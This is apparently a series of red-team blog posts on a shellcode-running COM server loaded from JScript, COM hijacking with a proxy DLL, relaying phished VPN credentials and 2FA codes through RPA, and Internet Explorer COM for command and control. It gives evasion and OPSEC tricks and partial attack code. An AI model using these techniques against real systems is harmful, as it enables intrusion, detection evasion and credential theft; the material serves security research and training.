Building a COM Server for Initial Execution

Introduction

Scripting languages, such as JScript, VBScript and VBA, are commonly used in initial execution payloads (i.e. Stage 0) to begin the process of establishing remote access to a target. In most cases each of these scripting languages leverage the COM components to achieve the task such as making a web request, writing a file, starting a process, etc.

This post will expand on previous research and cover writing your own COM server DLL, loading it from scripting languages with registration-free activation, and discussion around weaponization and OPSEC. This was a personal journey that helped me learn a lot more about what happens when you create and use a COM object from JScript. I will also be releasing a PoC COM server that runs provided shellcode.

Previous Work

In the final DerbyCon, @subTee had a fantastic talk called .NET Manifesto: Win Friends and Influence the Loader which I finally took the time to build off of. I would recommend giving it a watch if you haven’t already. As always, subTee presents some great research providing several pointers and breadcrumbs to send you off into your own rabbit holes. I always appreciate hearing his approach and it always spurs some unique and fun ideas. Thanks Casey!

James Forshaw (@tiraniddo) should always be referenced when talking COM. I’m personally convinced he’s the only person on the planet who truly understands its inner workings. I’ve stated this in previous blogs, but this talk is a great overview of COM, COM in 60 Seconds, and makes more sense on the second and third time through!

I also touch on a few COM server related items in my previous post, feel free to skim though that if you haven’t already!

tl;dr

The PoC code can be found here: https://github.com/leoloobeek/COMRunner. In order to make sense of this you may still want to skim through as it may clear things up.

Extending the Windows Script Host (WSH)

Windows Script Host (WSH) languages, such as JScript and VBScript, are fairly limited due to their  intended use case and therefore you can’t directly access the Windows API or .NET. You are really limited to COM object activation to perform interesting things, like writing a file to disk. That’s what makes James Forshaw’s DotNetToJscript so useful as it created a clean, in-memory way to extend the script host to run C# assemblies. We’ve now seen AMSI and other defensive products get on the lookout for the primitives that DotNetToJScript uses and even a .NET 4.8 update that breaks it entirely. Naturally, we see great offensive research that fights back to get around these problems, and the cat/mouse game continues. This is an interesting space and would recommend diving in and understanding its underpinnings.

The technique built on in this post has the same goal: extend the script host. There’s many interesting initial execution vectors that begin with scripting languages whether it be for phishing or lateral movement. The main limitation here is it does require dropping a DLL to disk. While this isn’t as clean in comparison to DotNetToJscript, it provides an alternative solution and may be useful in certain contexts.

Registration Free COM

As shared by subTee in his talk at DerbyCon, we can use the ActCtx COM object to load an arbitrary DLL. This special COM object is used for registration-free (regfree) activation of a COM component. What does that mean? In the majority of COM usage, objects need to be defined within the registry which is where COM clients look when attempting to pull in an object. If you’ve done COM hijacking or are familiar with it, the registry keys you are creating are the same keys and properties created when registering a COM object.

There is A LOT of power here for offensive usage, but we’re just going to look at creating our own DLLs and loading them with regfree COM. This research helped me understand a little more on how to craft manifests to load and create objects in a given DLL.

Finally, the cherry on top is we don’t have to think much about AMSI. AMSI doesn’t have much opportunities (right now) to detect custom built COM servers that are subsequently loaded with registration-free activation.

First Take

I copied the manifest and code from the DerbyCon talk (seriously, just go watch it) and built up a simple C++ DLL to recreate subTee’s PoC. As he states, this manifest and related code will essentially LoadLibrary() the given DLL and you can potentially place your remote access code within DllMain and away you go. Since it’s COM loading a DLL we’re able to follow some knowledge from my previous post, such as adding the DllGetClassObject exported function, which can help avoid doing dangerous things within DllMain.

The manifest and JScript was taken almost directly from subTee’s talk. I missed a closing XML tag within the manifest and it didn’t work right away, looking in the Application Windows event logs gives you a reasonable error message to fix your manifests (better than I’d expect from Windows). You can see my slightly adapted JScript and C++ code at this Gist to get started.

In case you haven’t used or seen registration-free activation or manifests, below is a screenshot of the JScript from the code shared in the Gist. The JScript outlined in red specifies a new temp directory which the script includes in its search for the COM DLL and the associated XML tag to specify the name of the file. The blue pieces indicate how to set the COM ProgID to use when creating our object. Our COM DLL returns CLASS_E_CLASSNOTAVAILABLE therefore we will always receive an error when creating our object and we need to catch it so the process doesn’t throw an exception and crash.

jscript1

 

OPSEC Improvements

This was quick and easy to get up and running. Though there’s a few OPSEC improvements we can make. When loading the DLL with regfree activation the manifest gets dropped in the same directory as the DLL.

RegFreeTmpFile

This could be solved by simply adding some code within our script that’s loading the DLL to also remove the .tmp files within the directory. I’ll leave that part to you.

We can also make some basic changes within the DllGetClassObject to avoid automated analysis. The class GUID could be used as an on/off key as the manifest would need to include the right GUID that the server is expecting to move forward. As long as we’re cleaning up all artifacts that would disclose the manifest we should feel reasonably confident that it will take some closer analysis to use the right GUID to run our full payload.

// 67E11FF1-C068-4C48-A1F5-69A882E0E99A
GUID myClsid = { 0x67e11ff1, 0xc068, 0x4c48, { 0xa1, 0xf5, 0x69, 0xa8, 0x82, 0xe0, 0xe9, 0x9a } };
STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
{
    if (rclsid == myClsid)
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MyThread, NULL, 0, NULL);

    return CLASS_E_CLASSNOTAVAILABLE;
}

We can tack on a less suspicious file extension, such as .png, as COM does not care about file extension. Since manifests are just simply text we could also store the manifest on a web server and add some server-side logic (e.g. mod_rewrite) to avoid serving the manifest text to anyone but our desired target.

I ended up packaging this up and using it on a recent red team op and resulted in successful execution. I won’t share exactly what I did and leave how to fully deploy up to you.

But this is where the real journey began — I had always been interested in writing up a COM server that actually creates objects and methods, and this was a great opportunity to dive in and build it out! Because I didn’t read enough up front (even though I own a COM book), I hit a lot of roadblocks along the way and figured I’d share the fails. Turned out, all the failure helped me gain a better understanding of COM in general.

The Objective

For a PoC to learn how to do this, I decided I wanted a simple COM server which provides a component with methods to take in shellcode and then to run the shellcode. Essentially something like DynamicWrapperX that extends the script host and does fun things I want (and isn’t as heavily signatured as DWX). Be careful of link and download, it’s closed source and I can’t vouch for it: http://dynwrapx.script-coding.com/dwx/pages/dynwrapx.php?lang=en.

Theoretically, I could then build on this and add in new shellcode execution techniques, different ways to copy shellcode, etc. In the future I could even add in evasive measures and balance them between the JScript and the COM server to ultimately get around signatures (think encrypted base64 shellcode in script and decryption routines in COM server). Anyways, let’s tackle the main piece first, building the COM server. Ideally I would want something that can support this JScript:

var myobj = new ActiveXObject(“TestClass”);
myobj.SetData(“<base64 string>”);
myobj.Run();

And so that’s where this blog post will take us!

COM Class and Interfaces

The Gist already has a good starting code structure for a COM server — what we need to add in is our component. If you’ve ever read about COM or looked through OleViewDotNet, you may know that all COM classes need to implement COM defined interfaces. These interfaces are no different than the basic software design concept of interfaces. An interface essentially describes all publicly accessible methods that objects which implement these interfaces must define. This post is a very good overview designed for offensive developers and can help you get up to speed if this is new to you.

My initial naive approach was to have my class implement the IUnknown interface. One of the general rules of COM objects is that every object implements the IUnknown interface. Given this knowledge and a few examples I had seen I figured that was what I needed. Therefore I added a new file and created a new object defined with my object’s methods along with the IUnknown methods.

class TestClass : public IUnknown
{
public:
    // IUnknown
    ULONG __stdcall AddRef();
    ULONG __stdcall Release();
    HRESULT __stdcall QueryInterface(REFIID riid, void** ppv);
    // ITestClass
    HRESULT __stdcall SetData(wchar_t* message);
    HRESULT __stdcall Run();

    // Constructor
    TestClass() : m_cRef(1) {};
    ~TestClass() {
        if (m_pITypeInfo != NULL)
            m_pITypeInfo->Release();
    };
private:
    ULONG m_cRef;
    std::string shellcode;
};

Two of IUnknown’s methods, AddRef() and Release(), deal with reference counting which basically keeps track how many times the object is being “referenced” and when the object reaches zero the COM runtime can release the object. Reference counting works well with a COM server’s DllCanUnloadNow export preventing a process from unloading the module from memory if the COM object is still in use. We just want to make sure these are implemented properly or it will crash the process.

The other method, QueryInterface(), returns a pointer to the interface to the COM client. If the client asks for the Interface ID (IID) of our class our COM server should return a pointer to the interface (and add a reference count).

I had a feeling this wasn’t done but wanted to see what JScript thought of this. I threw in some debugging to stdout to see what was going and saw an error along with an unexpected IID coming into QueryInterface(). I thought the IID would be the same as the CLSID, though the one that appeared was something I hadn’t set myself.

Screen Shot 2020-04-26 at 4.34.37 PM

ClassFactory

Looking into 00000001-0000-0000-C000-000000000046, which looks like a built-in value given all the zeroes, pointed me to IClassFactory. This did sound vaguely familiar, something I’ve seen navigating through OleViewDotNet and found this Microsoft documentation page which puts it simply.

Excerpt: “The basic way to create an instance of a class is through a COM class object. This is simply an intermediate object that supports functions common to creating new instances of a given class. Most class objects used to create objects from a CLSID support the IClassFactory interface, an interface that includes the important CreateInstance method. You implement an IClassFactory interface for each class of object that you offer to be instantiated.”

So we need to have our component also implement IClassFactory. Reading through the MSDN docs on each method for IClassFactory and several articles, I liked the simplicity of how they implemented in this article. I won’t go into too much detail here since its covered in that article and we don’t need to take up more space, if interested in how I got to the code below follow the link starting at Step 6. The code I ended up with is pretty similar to the code within the link.

class TestClassFactory : public IClassFactory
{
public:
    // IUnknown
    ULONG __stdcall AddRef();
    ULONG __stdcall Release();
    HRESULT __stdcall QueryInterface(REFIID riid, void** ppv);
    // IClassFactory
    HRESULT __stdcall CreateInstance(IUnknown* pUnknownOuter, const IID& iid, void** ppv);
    HRESULT __stdcall LockServer(BOOL bLock);

    TestClassFactory() : m_cRef(1) {};

private:
    ULONG m_cRef;
};

The most important new piece is the CreateInstance() method which is where we move the code to create a new TestClass object.

HRESULT __stdcall TestClassFactory::CreateInstance(IUnknown* pUnknownOuter, const IID& iid, void** ppv) {
    if (pUnknownOuter != NULL)
        return CLASS_E_NOAGGREGATION;

    // Create our class object here
    TestClass* testClass = new TestClass;
    if (testClass == NULL)
        return E_OUTOFMEMORY;

    // Call our component's QueryInterface here
    hr = testClass->QueryInterface(iid, ppv);
    testClass->Release();
    return hr;
}

Then back in our DllGetClassObject export, we create our class factory and use query interface which eventually leads to the CreateInstance() call.

STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
{
    TestClassFactory* pFactory = new TestClassFactory();
    HRESULT hr = pFactory->QueryInterface(riid, ppv);
    pFactory->Release();
    return hr;
}

It may be getting a tad confusing now with the addition of IClassFactory, and spoiler alert, addition of another interface coming soon. Here’s a simple diagram of the current state of the project if you’re more of a picture person:

diagram1 (1)

Compiling and reloading with my registration free script I hit the exact same error: “Class doesn’t support Automation”. Up to this point I had a few other indicators that something was wrong but now I was stuck with this error. Which sent me further down into the rabbit hole and learned something I hadn’t known before: generic COM servers do not get automatic support for scripting engines. The COM servers which do support scripting engines are also known as Automation servers.

Moving to an Automation Server

If you had heard of IUnknown, ever looked in OleViewDotNet, or played around with COM I’m sure you’ve also heard of IDispatch. This would turn out to be the final interface I need to solve this problem and it is an important one. The reason why the COM servers created previously haven’t worked is because scripting languages speak to COM servers differently. This is because scripting languages are attempting to load COM objects and run functions by using the ProgID and the name of the respective function (and names of arguments if there are any).This is where IDispatch comes in, it takes those names and executes the desired function. At this stage, I may be “hand waving” a bit, if you want a good in depth description of the how and why this works I’d recommend picking up the Inside COM book and look at Chapter 11.

IDispatch adds in three more functions we need to implement, two of which are important to discuss further: GetIDsOfNames and Invoke. GetIDsOfNames takes in a name (string) of a function and returns a DISPID, or dispatch ID, which corresponds to the actual function. This DISPID is then sent into Invoke and will execute the appropriate code depending on the DISPID. To simplify you could think of a COM server holding an array of function pointers or even a simple switch statement leading to something like the pseudocode below.

void DoSomething() {}
void DoAnotherThing() {}
int GetIDsOfNames (std::string name)
{
    switch(name) {
    case "DoSomething":
        return 1;
        break;
    case "DoAnotherThing":
        return 2;
        break;
    }
    return 0;
}

void Invoke (int dispID)
{
    switch(dispID) {
    case 1:
        DoSomething();
        break;
    case 2:
        DoAnotherThing();
        break;
    }
}

We could probably attempt to write the code manually our self and maybe it would be OK in very simple implementations. That said, most content you’ll read will indicate that attempting to build these functions from scratch will lead to problems. One thing that isn’t implemented above is handling arguments, properties and return values, important pieces when creating COM components and their methods. This leads us to Type Libraries, a cleaner and more efficient way to define our component and aids in implementing IDispatch.

Type Libraries

Type Libraries are there to help us define our COM components in a language independent format. We can then use some included API calls to easily build the answers to GetIDsOfNames and assist calling functions within Invoke. The unfortunate part is this requires a little extra effort to build the type library and load it when our COM server is loaded.

A type can be defined within an IDL (Interface Definition Language) file and compiled with midl.exe, a binary included with Visual Studio. I will say that writing this out helps give the developer (and other users) clarity of what our COM component really looks like. Given the component I’ve been trying to build, the IDL I came up with is below.

// Interface
[
    object,
    uuid(67E11FF0-C068-4C48-A1F5-69A882E0E99A),
    helpstring("Leos Test Class"),
    pointer_default(unique),
    dual,
    oleautomation
]
interface ITestClass : IDispatch
{
    import "oaidl.idl";
    HRESULT SetData([in] BSTR data);
    HRESULT Run();
};

// Type Library
[
    uuid("67E11FF1-C068-4C48-A1F5-69A882E0E99A"),
    version(1.0),
    helpstring("TestClass Type Library")
]
library TestClassLib
{
    importlib("stdole32.tlb");

    [
        uuid("67E11FF2-C068-4C48-A1F5-69A882E0E99A"),
        helpstring("TestClass Component Class")
    ]
    coclass TestClass
    {
        [default] interface ITestClass;
    };
};

This post is getting long already so I encourage you to go out and read the IDL documentation if you’re interested in the format. If you are looking to build your own object simply modifying the values above for your desired methods may be all you need to do. One thing I will note is that there are three different GUIDs defined for each piece with the last hex digit in the first set of values incrementing. This appears to be common practice with COM implementations and our JScript will need to request the GUID of the coclass section to successfully retrieve the object.

Just a note: When going through all this, the standard today seems to be leveraging Active Template Library (ATL) to build your COM components. This felt like more work than it was worth so I neglected ATL and kept on the path of implementing it with an IDL file.

I then needed to run midl.exe file.idl and it will generate source files along with the type library (.TLB).

Screen Shot 2020-05-10 at 4.41.33 PM

Screen Shot 2020-05-10 at 4.41.57 PM

Here’s the updated class code. Note that the class now extends ITestClass which was defined in our IDL and generated into source code after running midl.exe.

class TestClass : public ITestClass
{
public:
    // IUnknown
    ULONG __stdcall AddRef();
    ULONG __stdcall Release();
    HRESULT __stdcall QueryInterface(REFIID riid, void** ppv);
    // IDispatch
    HRESULT __stdcall GetTypeInfoCount(UINT* pctinfo);
    HRESULT __stdcall GetTypeInfo(UINT iTypeInfo, LCID, ITypeInfo** ppTypeInfo);
    HRESULT __stdcall GetIDsOfNames(REFIID riid, LPOLESTR* rgszNames, UINT cNames, LCID, DISPID* rgDispId);
    HRESULT __stdcall Invoke(DISPID dispIdMember, REFIID riid, LCID, WORD wFlags, DISPPARAMS* pDispParams, VARIANT* pVarResult, EXCEPINFO* pExcepInfo, UINT* puArgErr);
    // ITestClass
    HRESULT __stdcall SetData(wchar_t* data);
    HRESULT __stdcall Run();

    // Init loads our Type library
    HRESULT Init();

    // Constructor
    TestClass() : m_cRef(1) {};
    ~TestClass() {
        if (m_pITypeInfo != NULL)
            m_pITypeInfo->Release();
    };

private:
    ULONG m_cRef;
    std::string shellcode;
    ITypeInfo* m_pITypeInfo;
};

Note that I left a function and a pointer to handling the Type Library within my class. Type Libraries are typically thrown into the registry (just like everything with COM, am I right?) and I didn’t like this option for OPSEC considerations. Another option is to also save the TLB to disk and load the file itself which also isn’t ideal. The other alternative is to store the compiled TLB file within my binary as an embedded resource which was the route I took.

In order to store the TLB im my DLL, I first created a .rc file with a single line: 1 typelib "TestClass.tlb". Using the Developer Command Prompt for VS, I ran the rc command to generate a .res file which I ultimately add to my Visual Studio project. This will add a resource of type TYPELIB as the first resource in the binary’s resource directory.

Screen Shot 2020-05-10 at 5.06.18 PM

Since I want my DLL’s file path to exist anywhere, I added code to grab the path to my DLL given the HMODULE at runtime, store it so it’s accessible later on, and then load it via an embedded resource.

// Helper to initialize our Type Library
HRESULT __stdcall TestClass::Init() {
    HRESULT hr;

    if (m_pITypeInfo == NULL)
    {
        ITypeLib* pITypeLib = NULL;
        wchar_t path[MAX_PATH];

        // the TestClassFactory::s_hModule is set within DllMain on load
        // GetModuleFileNameW gets the full path to our DLL at runtime, so we
        // can load the embedded TLB no matter where the DLL is saved
        GetModuleFileNameW(TestClassFactory::s_hModule, path, MAX_PATH);
        hr = LoadTypeLibEx(path, REGKIND_NONE, &pITypeLib);
        if (FAILED(hr))
        {
            return hr;
        }

        // This stores the TypeInfo in our object's private property m_pITypeInfo
        // which will ultimately be used by IDispatch methods 
        hr = pITypeLib->GetTypeInfoOfGuid(IID_ITestClass, &m_pITypeInfo);
        pITypeLib->Release();

        if (FAILED(hr))
        {
            return hr;
        }
    }
    return S_OK;
}

Finally, I needed to add the code to leverage the TLB within the IDispatch functions. I took this code as a starter from the “Inside COM” book and made some very minor changes. It’s crazy simple once you have the TLB built and loading successfully.

HRESULT __stdcall TestClass::GetIDsOfNames(REFIID riid, LPOLESTR* rgszNames, UINT cNames, LCID, DISPID* rgDispId) {
    if (riid != IID_NULL)
        return DISP_E_UNKNOWNINTERFACE;

    HRESULT hr = m_pITypeInfo->GetIDsOfNames(rgszNames, cNames, rgDispId);
    return hr;
}

HRESULT __stdcall TestClass::Invoke(DISPID dispIdMember, REFIID riid, LCID, WORD wFlags, DISPPARAMS* pDispParams, VARIANT* pVarResult, EXCEPINFO* pExcepInfo, UINT* puArgErr) {
    if (riid != IID_NULL)
        return DISP_E_UNKNOWNINTERFACE;

    HRESULT hr = m_pITypeInfo->Invoke(
        static_cast<IDispatch*>(this), dispIdMember, wFlags, pDispParams, pVarResult, pExcepInfo, puArgErr);
    return hr;
}

And that was it! For the visual thinkers, here is the updated diagram with the recent changes added in.

diagram2

Success

In a quick review, I now have a COM component defined in IDL with functions to run shellcode. It implements IDispatch and IUnknown so it can be called by scripting languages, and I also have a class factory which facilitates creating a new object of my component. Ready for the next failure, to my surprise everything worked as expected and I noticed the shellcode ran!

SuccessfulExecution

Building On It

I’m going to leave the fun evasion parts to you, but it is always a fun exercise to think through the possibilities, so here are a few that come to mind:

  • Add some better shellcode loading options. Your objectives may be different than running the shellcode within the same process as the scripting engine is running in.
  • Store your shellcode as an additional stage on a server. JScript pulls down the shellcode and sends to COM server for execution. This gives you the benefit of controlling when the remote access code is actually executed, and also avoids signature detections for storage of shellcode data within the JScript or compiled binary.
  • Copy the DLL to a remote host. Then create a WMI Event Subscription on the remote host to run an ActiveScriptEventConsumer which executes JScript that activates your COM server for some lateral movement. Look at https://github.com/GhostPack/SharpWMI for an example.

Conclusion

I must remind you that nothing in this post was new and was all built on the great work by subTee (Casey Smith). This post ended up getting quite long so if you’ve made it this far I appreciate it! I honestly had to take some things out and had some difficulty choosing which pieces to include, so if you have any questions or are trying it out for yourself don’t hesitate to reach out! You can send me a DM on Twitter @leoloobeek or on the BloodHound Gang slack @leo.

That’s all for now!

COM

Proxying COM For Stable Hijacks

Introduction

COM hijacking presents a unique way to load your rogue DLL into another process. In a world with increasing optics into in-memory tactics, COM hijacking may provide an alternative to get code execution inside a process. This post will attempt to explain what’s going on when a COM object is hijacked and share a method to proxy the original COM server to avoid crashing the process.

Previous Work

COM hijacking was first discussed back in 2011 by Jon Larimer who foresaw the potential security concerns of per-user COM objects. Since then there was some malware that leveraged the technique, @enigma0x3 released a solid blog post of leveraging COM hijacking and scheduled tasks for persistence in 2016, and @bohops released two posts adding more information around abusing COM. It’s also listed on MITRE ATT&CK as T1122.

When talking COM, it would also be remiss of me to not mention oleviewdotnet by James Forshaw . He also presented my favorite talk on the subject, COM in 60 Seconds, and has tons of other research surrounding COM.

tl;dr

Proxying the legitimate COM server DLL can lead to more stability and more options for COM hijacks. The PoC code can be found here: https://github.com/leoloobeek/COMProxy

Refresher

COM is very complex, I’m going to only cover the pieces that are relevant here and might “hand wave” over some details. I will refer you to the previous work above or this book if you want to go further.

Most COM classes are registered and discovered by their CLSID (class identifier) which is a GUID. If you have ever created a COM object you’ve likely given a name such as “WScript.Shell”, this is called a ProgID. When you attempt to access a COM object the process will query HKEY_CLASSES_ROOT\CLSID which contains hundreds of subkeys named for each CLSID registered on the host. Within the CLSID’s path will contain additional registry keys that the COM subsystem can use to load the correct COM server.

COM servers are essentially DLLs that provide COM interfaces to the calling process (client).  COM servers can be in-process or out-of-process, for this blog post we’ll only worry about COM in-process servers.

Hijacking COM

The issue that leads to COM hijacking is when querying HKEY_CLASSES_ROOT\CLSID, Windows will look at HKEY_CURRENT_USER\Software\Classes\CLSID for the provided CLSID. If the key does NOT exist then Windows looks in HKEY_LOCAL_MACHINE\Software\Classes\CLSID for the provided CLSID. In almost all cases COM classes are registered in HKLM. Since Windows will check HKCU first, it is possible to add a CLSID of an existing, legitimate COM class pointing to a rogue COM server, and the process will load the rogue DLL rather than the expected COM server. No adminstrator privileges required.

Lots of previous work covers how to find them, in short load up Process Monitor, filter Path looking for InProcServer32, filter for the process you want to load into, and let it run.

For example, on Windows 7, {7D096C5F-AC08-4F1F-BEB7-5C22C517CE39} is a GUID Internet Explorer queries for soon after starting. Writing out a DLL to initiate HTTPS remote access within Internet Explorer can help blend in within a scrutinized environment. Setting the registry keys as follows will set up the hijack.

Important Note: I, mistakenly, chose a Windows 7 hijack I had written down for this example. COM hijacking is absolutely still prevalent in Windows 10 environments, but with  Code Integrity Guard (CIG) it may limit which processes you will find success. I’ll leave this up to the reader as the focus is not on finding hijacks and more on the internals of COM hijacking. The PoC COM client and server for hijacking released work on both Windows 7 and 10.

Screen Shot 2019-08-28 at 7.03.36 PM.png

Opening up Internet Explorer and… we crashed the process.

Screen Shot 2019-08-28 at 7.10.50 PM.png

Well, taking a step back, we are forcing a process to load our DLL instead of the DLL it expects, and our DLL doesn’t have any of the functionality the process requires. It seems logical that the process would crash once it realizes our DLL isn’t what they’re expecting. If you’ve ever looked for COM hijacks, this can become pretty common, or worse, everything appears OK but certain features may become unstable.

What’s in a COM Server

In order to provide COM interfaces to clients, a COM server needs DllGetClassObject in its export table. Once an in-process COM server is loaded, the process will call the DLL’s DllGetClassObject with the CLSID and the server will return pointers to the interface.

Capture

When the COM object is no longer used, it should be released to free up memory. Furthermore, periodically the process should call CoFreeUnusedLibraries which will tell the process to check each loaded COM server for any COM objects instantiated. If no COM objects are instantiated, the process will call the COM server’s exported function DllCanUnloadNow. Legitimate COM servers will perform any cleanup, return to the process, and the process will free the library (FreeLibrary) from its memory.

Crafting a COM Server For Hijacking

To begin, COM servers should export DllGetClassObject and DllCanUnloadNow at a minimum. What’s interesting about DllGetClassObject is the main output from the function is a pointer to the interface. Since are an in-process COM server will be loaded into a process, and we’re returning a pointer, it’s trivial to proxy the legitimate COM object. Loading the legitimate COM server, finding its DllGetClassObject export, then calling it will obtain all the valid pointers.

typedef HRESULT(__stdcall *_DllGetClassObject)(REFCLSID rclsid, REFIID riid, LPVOID* ppv);
STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
{
    // Load up the original COM server
    HMODULE hDLL = LoadLibrary("C:\\Windows\\legitimate\\COMServer.dll);
    // Find the DllGetClassObject for original COM server
    _DllGetClassObject lpGetClassObject = (_DllGetClassObject)GetProcAddress(hDLL, "DllGetClassObject");
    return lpGetClassObject(rclsid, riid, ppv);
}

At this point, the process is receiving the COM interface its expecting. Although what if the process uses the class shorter than the malicious activities you hope to accomplish? The process will release the object and call DllCanUnloadNow which will remove the rogue DLL from its memory. One (somewhat hacky) way to ensure your code runs before unloading is to use a global variable and loop when DllCanUnloadNow is entered.

UINT g_uThreadFinished;
extern UINT g_uThreadFinished;
// Set g_uThreadFinished to 0 in DLL_PROCESS_ATTACH, set to 1 when you're finished
STDAPI DllCanUnloadNow(void)
{
    do 
    {
        Sleep(1);
    } while (g_uThreadFinished == 0);
    return S_OK;
}

A full PoC proxy COM server is available at https://github.com/leoloobeek/COMProxy. It includes some code that will dynamically find the COM server that its hijacking and proxy the DllGetClassObject call. I also have a test COM client that will load WScript.Shell, run calc, and call the COM cleanup Windows API calls.

Operationalize COM Hijacking

When evaluating techniques to see where they fit in an offensive operation, its important to understand the limitations and detection points. Going through the work to proxy the legitimate COM server was important to ensure reliability on successful hijacks.

The technique does require dropping a DLL to disk which may push people away. Frankly, in this era which includes better in-memory optics, I’m open to dropping files to disk again as long as I understand the endpoint controls and feel comfortable with the file. Also, maybe you don’t have to drop a .dll to disk (hint, hint). This does present an interesting scenario: you set a COM hijack and laid down your COM server for persistence. While it wasn’t detected initially, it eventually gets scrubbed for $Reason. At this point, since the rogue DLL doesn’t exist but the registry key is still set, the legitimate DLL will NOT be loaded and this will impact the target user or system. Unfortunately, the COM subsystem does not check HKLM if the COM server in HKCU doesn’t exist.

Given this issue, hijacking COM and proxying the original object for stability might be best leveraged for execution. A few execution scenarios may be migrating to another process or lateral movement. Persistence with COM hijacking may be best for abandoned keys or the scheduled task handler hijack outlined by @enigma0x3 (listed in previous work).

Additionally, detecting COM hijacking via registry modifications is straight forward. In fact, the popular @SwiftOnSecurity Sysmon config has a rule exactly for COM hijacking here. There’s not many subkeys in  HKEY_CURRENT_USER\Software\Classes\CLSID which will make new keys added maybe appear suspicious. With that said, armed with this proxying technique, overwriting key values to COM servers is an option which may blend in. For example, Microsoft Teams starts on boot and also registers a COM class in HKCU: {CB965DF1-B8EA-49C7-BDAD-5457FDC1BF92}. There are hundreds of CLSID keys in HKLM, overwriting those may also blend in better, although they’re owned by TrustedInstaller.

With all this said, there’s not much to be said around automated detection from NGAV for COM object hijacking. In other words, detection relies on the blue team and tuning of their tools. As blue team training is the main overall objective of most red team operations, this technique may be a good training opportunity for the defenders.

Conclusion

That wraps COM hijacking for me. Feel free to reach out to me on Twitter if you have any questions or feedback on this technique. Also, at 10am Saturday, September 7 at DerbyCon a very smart dude David Tulis (@kafkaesqu3) will cover more around COM hijacking with his presentation!

Defeating 2FA With Robots

Introduction

Credential harvesting phishing scenarios have become less and less popular due to the vast majorities of organizations deploying Two-Factor Authentication (2FA) on all external applications. FireEye’s recent research and tool ReelPhish is an awesome example of subverting 2FA and successfully accessing external web applications. This post and tool is an adjunct to ReelPhish that uses RPA to get past 2FA and log onto a VPN directly with the VPN client. This has been successful in real world environments and I also have a PoC video below.

What is RPA?

Important reminder: this is a personal blog, all thoughts and comments are mine and do not reflect that of my employer.

Robotic Process Automation (RPA) is an “emerging” technology that boasts the ability to automate anything.  It is essentially a GUI scripting language with OCR capabilities that makes interacting with applications and extracting data easy and approachable to non-technical folks.  RPA calls the output or tool you create robots, or “bots”. Trust me, I couldn’t make this up. Frankly I’ve been somewhat sour on the subject, and even after using it a bit, I can’t say I would choose it over any traditional language. But I did end up seeing a use case for it so I swallowed my pride and jumped in.

UiPath RPA Software

The only popular free RPA software I’m aware of is UiPath’s Community Edition. I downloaded and installed on a Windows VM. Once I opened it up I found a lot of terms that modeled traditional languages, such as loops, if statements, etc. I will definitely say UiPath is very intuitive and I was able to figure out what I needed and how to use it in under an hour. The only downside was there was no easy way to interact with a running UiPath program (I’m having a hard time calling it a robot). I couldn’t send an HTTP request to it and have UiPath receive and parse the request, which tells me UiPath isn’t quite built for a typical developer. Since I couldn’t have UiPath parse an HTTP request I had to write an intermediate tool to handle that.

Note: I have seen some forums talking about an API but I couldn’t find decent documentation and didn’t have the time to figure it out.

The Idea

I had some phishing coming up and I was all set for the payload based spearphish but wanted to provide a solid credential harvesting scenario as well. I’d heard about RPA a little bit and knew its upside was the ability to interact with applications regardless of an accessible API. After a little research I came up with the following idea:

  1. Setup phishing page to ask for username, password, and second password (token or push)
  2. Setup an SSH remote port forward taking a local port on the phishing server and sending it down to a Windows VM
  3. Start UiPath to watch for a change to a file, ‘loginFile.txt’
  4. Use PHP to send the credentials down the SSH tunnel
  5. Use a Go exe to listen on port 3000, receive those posted credentials, and write username, password, and second password to ‘loginFile.txt’
  6. UiPath will immediately see ‘loginFile.txt’ has been modified, read in the credentials, and enter in all the relevant dialog boxes
  7. Initiate the VPN connection and profit!

If you like pictures, this is essentially the attack:

MFAstealer

Proof-of-Concept

Below is a PoC video which demonstrates the attack with the following lab setup:

  • Phishing site: vpn.adapt-and-attack.com
  • VPN server: 192.168.1.31
  • VPN info: Cisco AnyConnect and Cisco ASA 5505
  • 2FA: Duo Push

I didn’t spend time on the refresh page so all it says is “Success”, don’t judge me! I also should mention since that VPN endpoint is an IP address, the SSL certificate warning pops up and the whole connection process takes a tad longer than against a production environment. Just to be clear, I typed in “push” for the second password and then around ~52 seconds in the video, I accepted the Duo Push notification in the app. All interfacing with the AnyConnect client is UiPath.

 

The Code

All required components can be found at this GitHub repo:

https://github.com/leoloobeek/mfastealer

The GitHub repo includes the UiPath project XAML file used in the demo video, a sample PHP file for receiving the credentials and sending them down the SSH tunnel, and the mfastealer Go script. The README file should be enough to get you started with everything and feel free to DM me on Twitter if you have questions.

I named it mfastealer (Multi-Factor Authentication) rather than 2FAstealer as I believe this project could be edited to get around most MFA/2FA technologies which require the end-user to enter all information. I’m sure someone out there will argue semantics, though.

So far, I’ve been successful targeting AnyConnect+Duo and Pulse Secure Client+Duo environments. In both scenarios, it was successful with Duo Push and the Duo token value.

Mitigation

I will definitely echo the authors of ReelPhish and say to not abandon 2FA. It is a great control that adds an additional layer of security and should be implemented on all external authentication portals. Just like all security products and technologies, nothing is perfect. Some mitigation ideas can be to shorten VPN sessions to limit the amount of time an attacker is on the network and to apply strict network segmentation for the VPN segment. I also think that user behavior analytics could be useful here to discover an anomalous VPN login.

Consider including awareness around phishing that requests 2FA tokens within your overall security awareness training to your user base as I’m sure more and more techniques will continue to find ways to subvert 2FA.

 

Conclusion

UiPath came in handy here and was surprisingly intuitive and reliable. As mentioned earlier, I don’t see me using RPA often from an offensive security perspective. Although, RPA is expanding into many businesses and we may start seeing this in target environments during red team operations. For example, Blue Prism is another popular RPA product for the enterprise, and they boast some mature customers and partners. I envision some similar themed issues as we normally see: insecure password storage, weak permissions, easy backdoors, etc.

Hope someone finds this useful!

 

InternetExplorer.Application for C2

Introduction

Given the time of year, I want to share with everyone the gift that keeps giving this holiday season. This isn’t a groundbreaking revelation, it’s a well-known COM object that is already included in the Empire project. The InternetExplorer.Application object gives attackers a programmatic interface to use Internet Explorer (or Edge) as a vehicle for communicating with their command-and-control (C2) servers. There’s a ton of advantages to this and I feel this COM object hasn’t received the attention it deserves.

Previous Work

To the best of my knowledge Empire is the best “weaponized” example of using this COM object for C2 operations. It looks like @harmjoy wrote the ie_com listener and also mentions it in this post. All the PowerShell code used in this post stemmed from the Empire implementation. It’s also worth mentioning, the Thunderstruck module also uses the IE COM object!

